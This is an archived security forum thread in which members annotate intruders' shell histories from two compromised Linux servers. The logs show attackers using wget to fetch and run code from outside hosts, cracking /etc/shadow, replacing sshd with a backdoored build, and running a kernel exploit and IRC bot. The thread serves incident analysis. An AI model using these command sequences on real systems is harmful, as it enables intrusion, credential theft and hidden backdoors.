To register for an Internet.com membership to receive newsletters and white papers, use the Register button ABOVE.
To participate in the message forums BELOW, click here


EIT Planet's Security News
 Security Vulnerabilities Prove Increasingly Costly
 IPS Market Approaches $1 Billion
 U.S. Named Top Spammer

Security Products
 Family Keylogger (Family Keylogger)
 modusGate (Vircom Inc.)
 Kernel Hotmail MSN Password Recovery (Nucleus Data Recovery)
 Outlook 2003 PST Password Recovery (PST Password Recovery)
 PST Password Remove (PST Password Remove)
 Zemana Anti Keylogger (Vickit, Inc.)


Go Back   Antionline Forums - Maximum Security for a Connected World > Security Discussions > *nix Security Discussions

*nix Security Discussions Security issues related to *nix & *nix apps.

Reply
 
Thread Tools Display Modes
Old August 30th, 2005, 12:36 AM   #1
gore
AO BOFH: Luser Abuser BModeratorFH
 
gore's Avatar
 
Join Date: Oct 2002
Location: Michigan
Posts: 6,608
gore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond repute
THIS is how you hack a web server!

From: steve@example.org
To: incidents@securityfocus.com
Subject: SSH compiled with backdoor

Hi!

One of my web servers was hacked on July 17, 2005. bash_history
showed:

w
wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf
john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow
wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm
-rf sshd.tar.gz;cd sshd;cd apps/ssh
pico genx.h
pico genx.h
pico ssh2includes.h
cd ../..
./configure --without-x
make
make install
mkdir /lib/java
cp /usr/sbin/sshd a
mv a /lib/java
rm -rf /usr/sbin/sshd
cp /usr/local/sbin/sshd /usr/sbin
/etc/rc.d/init.d/sshd restart
/etc/rc.d/init.d/ssh restart
locate init.d
/etc/init.d/sshd restart
w
reboot

According to john, a couple of users had weak passwords, but root
seemed well protected. From looking in all the bash_history, it appears the
hacker came in from the website account, and did an su from there.

I found this about a month later when I logged into the box, did an ls,
only to be met by a seg fault. A ps x showed mech.tgz trying to be
downloaded, and a bunch of other CRON processes running. The auth log
didn't show other logins, though, so the ssh installed must have logging
turned off for the backdoor they installed.

I filled out an abuse form at geocities for the accounts hosting the
software after downloading the software (I couldn't find the tgz files on
my system).

Last showed:
reboot system boot 2.4.18-bf2.4 Sun Jul 17 18:15
(37+11:47)
website pts/0 193.231.77.74 Sun Jul 17 17:42 - down
(00:27)
website pts/1 193.231.77.74 Sun Jul 17 17:05 - 17:26
(00:20)
website pts/0 211.43.207.169 Sun Jul 17 16:26 - 17:41
(01:14)

whois says:
inetnum: 193.231.77.0 - 193.231.77.255
netname: DATANET-RO
descr: Starnets - Datanet
country: RO
address: DATA NET
address: Str. Ioan N. Roman Nr. 13
address: Constanta, cod 900199, ROMANIA

Best Regards,

Steve


----------------
__________________
Kill the lights, let the candles burn behind the pumpkins’ mischievous grins, and let the skeletons dance. For one thing is certain, The Misfits have returned and once again everyday is Halloween.The Misfits We Are 138
Cannibal Holocaust
SuSE Linux
Slackware Linux
gore is offline   Reply With Quote
Old August 30th, 2005, 01:03 AM   #2
gore
AO BOFH: Luser Abuser BModeratorFH
 
gore's Avatar
 
Join Date: Oct 2002
Location: Michigan
Posts: 6,608
gore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond repute
Shit forgot something:

I posted this because I thought it was very interesting and it showed a common way to hack a computer running a Unix OS.



w

The first command they ran was "w" which was probably to see who was online and if root was sitting at the console or not and OF COURSE check the uptime maybe to take a guess as to when the last reboot was. This helps find an exploit that the machine may not have installed. Though this tech works better on Windows where EVERY patch needs a reboot.


wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf

They used wget to grab a file on their own website which was a hacked version of a common application used by admin.


john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd
../run;./john /etc/shadow

They remove the downloaded file so the admin doesn't find.

wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm
-rf sshd.tar.gz;cd sshd;cd apps/ssh
pico genx.h
pico genx.h
pico ssh2includes.h

Editing the header file.

cd ../..
./configure --without-x
make
make install

Installing the backdoored app.

mkdir /lib/java
cp /usr/sbin/sshd a
mv a /lib/java
rm -rf /usr/sbin/sshd

Removing the actual applications to make room for their hacked copy.

cp /usr/local/sbin/sshd /usr/sbin
/etc/rc.d/init.d/sshd restart
/etc/rc.d/init.d/ssh restart
locate init.d
/etc/init.d/sshd restart

A mild **** up

w

Check if anyone is going to notice a reboot

reboot

Pow.
__________________
Kill the lights, let the candles burn behind the pumpkins’ mischievous grins, and let the skeletons dance. For one thing is certain, The Misfits have returned and once again everyday is Halloween.The Misfits We Are 138
Cannibal Holocaust
SuSE Linux
Slackware Linux
gore is offline   Reply With Quote
Old August 30th, 2005, 01:28 AM   #3
zencoder
AO Senior Cow-beller
Moderator
 
zencoder's Avatar
 
Join Date: Dec 2004
Posts: 1,172
zencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond reputezencoder has a reputation beyond repute
Tight. And it shows it wasn't a script that did this...or if it was, it was interupted and manually completed. I wonder how long that took to do? Reading through it, I feel a sense of urgency for the punk. Not that it matters, really. I don't know about you guys, but if I am so paranoid that I have to run w every few minutes to see whose doing what, I need a beer, a valium, and a new line of work.
__________________
"Data is not necessarily information. Information does not necessarily lead to knowledge. And knowledge is not always sufficient to discover truth and breed wisdom." --Spaf
Anyone who is capable of getting themselves made president should on no account be allowed to do the job. --Douglas Adams (1952-2001)
"America has a lottery mentality. We think we can party till we're 40, fail in business after business, and then somehow wind up as president of the United States." -- Bill Maher
zencoder is offline   Reply With Quote
Old August 30th, 2005, 01:36 AM   #4
|3lack|ce
TheTAZZone |ceWriterguy
 
Join Date: Aug 2004
Posts: 1,609
|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute|3lack|ce has a reputation beyond repute
Yah, looks a bit paranoid, but if you're stealin, you keep looking over your shoulder to see if anyone's watching you. That's how they catch shoplifters in retail. Gotta admit the kid's good, but only if the dl'd file is untraceable (did he goto the library or school computer lab to upload it the first time out?). Else with enough log checking and cooperation he can be found.
__________________
Even a broken watch is correct twice a day.

Which coder said that nobody could outcode Microsoft in their own OS? Write a bit and make a fortune!
|3lack|ce is offline   Reply With Quote
Old August 30th, 2005, 02:04 AM   #5
¤The¤SpeŠialist
Banned
 
Join Date: May 2005
Posts: 173
¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all
Quote:
Yah, looks a bit paranoid, but if you're stealin, you keep looking over your shoulder to see if anyone's watching you.
Quote:
I'm such an arrogant egotistical cocky self centered ****er!
Yeah, we really are 138.
¤The¤SpeŠialist is offline   Reply With Quote
Old August 30th, 2005, 03:10 AM   #6
gore
AO BOFH: Luser Abuser BModeratorFH
 
gore's Avatar
 
Join Date: Oct 2002
Location: Michigan
Posts: 6,608
gore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond reputegore has a reputation beyond repute
LOL!

Does this face look almost mean?
__________________
Kill the lights, let the candles burn behind the pumpkins’ mischievous grins, and let the skeletons dance. For one thing is certain, The Misfits have returned and once again everyday is Halloween.The Misfits We Are 138
Cannibal Holocaust
SuSE Linux
Slackware Linux
gore is offline   Reply With Quote
Old August 30th, 2005, 03:29 AM   #7
¤The¤SpeŠialist
Banned
 
Join Date: May 2005
Posts: 173
¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all¤The¤SpeŠialist is a name known to all
Your face looks like... my ass.
Ermmm... goatse style.

Your a sexy man.
http://crime.about.com/od/history/qt...ords_gracy.htm
¤The¤SpeŠialist is offline   Reply With Quote
Old August 30th, 2005, 05:01 AM   #8
catch
Banned
 
Join Date: May 2003
Posts: 1,004
catch catch catch catch catch catch catch catch catch catch catch
And yet they didn't sanitize the bash_history?

cheers,

catch
catch is offline   Reply With Quote
Old August 30th, 2005, 08:41 AM   #9
the_JinX
Leftie Linux Lover
 
the_JinX's Avatar
 
Join Date: Nov 2001
Location: Beverwijk Netherlands
Posts: 2,528
the_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond reputethe_JinX has a reputation beyond repute
I had something allong these lines happen to a box of a friend.. Just a 'toy' linux box..
An ssh 'knocker' found a weak user (user: print, passwd: print (that's plain stupid))

A few minutes later came the 'hacker'
Or should I say lamer.. let's disect..

.bash_history
Code:
w
passwd
changed password
Code:
w
cd /var/tmp
ls
hostname -f
mkdir " "
cd " "
A nice hard to find folder
Code:
ls
pwd
wget esteticu.org/mremap_pte
chmod +x mremap_pte
./mremap_pte
old kernel exploit (ptrace) won't work
Code:
w
rm -rf mremap_pte
wget www.partyzone.go.ro/hide.tgz
tar xzvf hide.tgz
./hide root 0 0
Dude.. you arn't root.. that won't work
Code:
ls
rm -rf hide
rm -rf hide.tgz
wget ideo.go.ro/psy6667.tgz
tar xzvf psy6667.tgz
rm -rf psy6667.tgz
cd psybnc
chmod +x psybnc
mv psybnc backup
PATH="./"
backup
ls
rm -rf backup
kilall -9 psybnc
rm -rf psybnc
exit
Ok.. so you installed a irc-bot as a 'normal' user behind a NAT (he could have known this won't work) while you have a valid login (with your own password)..
Code:
export PATH='.'
psybnc
ls
exit
Still won't work
Code:
export PATH='.'
crond
exit
I don't get it.. perhaps there is also a 'fake' crond exec in the psybnc package..
Code:
ww
typo
Code:
w
cd /var/tmp
ls
cd " "
ls
killall -9 psybnc
rm -rf psbnc
uname -a
Should have done that a bit earlier.. could have saved you some time
Code:
wget www.skimy.go.ro/psy.tgz
tar xzvf psy.tgz
cd psybnc
sh
ls
killall -9 psybnc
rm -rf psybnc
rm -rf backup
cd ..
ls
rm -rf psy.tgz
rm -rf psybnc
OK he found out such a bot won't work behind a NAT
Code:
wget artist.idilis.ro/xpl.tgz
tar xzvf xpl.tgz
rm -rf xpl.tgz
mv mech "..   .bot"
cd "..   .bot"
sh
And that's where the bot send enough mail to trigger the ISP to kill the connection :P

Leaving the poor 'hacker' disconnected and all the evidence of his mishaps there for us to look at...
__________________
ASCII stupid question, get a stupid ANSI.
When in Russia, pet a PETSCII.

Get your ass over to SLAYRadio the best station for C64 Remixes !
the_JinX is offline   Reply With Quote
Old August 30th, 2005, 09:09 AM   #10
Cemetric
Senior Member
 
Cemetric's Avatar
 
Join Date: Oct 2002
Posts: 491
Cemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond reputeCemetric has a reputation beyond repute
Very nice these disections ... I like 'em for seeing how they do it ... but then again if you get the logs and can see what they did, doesn't that mean they forgot to delete their evidence??.. Like catch said ! So that gets the discussion of how good they are or they just don't care maybe.

But off course if they did it from a public computer then would the evidence matter ?
Mmm wait it might if the place were the public computer stands keeps a record of who is using it (by means of driver license etc.. but these can be fake also)... just ranting, never mind

Quote:
code:--------------------------------------------------------------------------------ww--------------------------------------------------------------------------------
I don't think it's a typo ...he got nervous and started to stotter

C.
__________________
Back when I was a boy, we carved our own IC's out of wood.
Cemetric is offline   Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off

Forum Jump


All times are GMT +1. The time now is 11:34 AM.












Acceptable Use Policy

Internet.com
The Network for Technology Professionals

Search:

About Internet.com

Legal Notices, Licensing, Permissions, Privacy Policy.
Advertise | Newsletters | E-mail Offers

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.